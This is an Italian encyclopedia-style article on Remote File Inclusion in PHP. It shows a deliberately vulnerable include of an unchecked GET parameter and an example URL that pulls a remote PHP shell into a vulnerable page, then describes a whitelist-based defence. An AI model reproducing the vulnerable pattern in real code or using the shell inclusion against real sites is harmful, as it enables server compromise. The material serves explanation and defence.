b"\n_START_ARTICLE_\nRemote File Inclusion\n_START_SECTION_\nCodice vulnerabile\n_START_PARAGRAPH_\nQuesto \xc3\xa8 un semplice esempio di un codice vulnerabile:_NEWLINE_  <?php _NEWLINE_  $var = $_GET['var']; _NEWLINE_  include ($var);_NEWLINE_  ?>_NEWLINE_con una conoscenza anche limitata del PHP \xc3\xa8 molto chiaro ci\xc3\xb2 che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si pu\xc3\xb2 vedere in azione il bug._NEWLINE__NEWLINE_http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it_NEWLINE_in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sar\xc3\xa0 inclusa la index di miositoincluso.it\n_START_SECTION_\nCome funziona l'attacco\n_START_PARAGRAPH_\nSe c'\xc3\xa8 la possibilit\xc3\xa0 di un'inclusione arbitrale di codice PHP un cracker pu\xc3\xb2 includere una shell in PHP_NEWLINE__NEWLINE_http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt_NEWLINE_da notare che la pagina da includere non deve essere in PHP (perch\xc3\xa9 altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).\n_START_SECTION_\nCome difendersi\n_START_PARAGRAPH_\nIn genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilit\xc3\xa0 di RFI._NEWLINE__NEWLINE_http://miosito.it/index.php?var=1_NEWLINE_poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:_NEWLINE_<?php_NEWLINE_ $var = $_GET['var'];_NEWLINE_ if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');_NEWLINE_ elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');_NEWLINE_ else die('tentativo di intrusione');?>"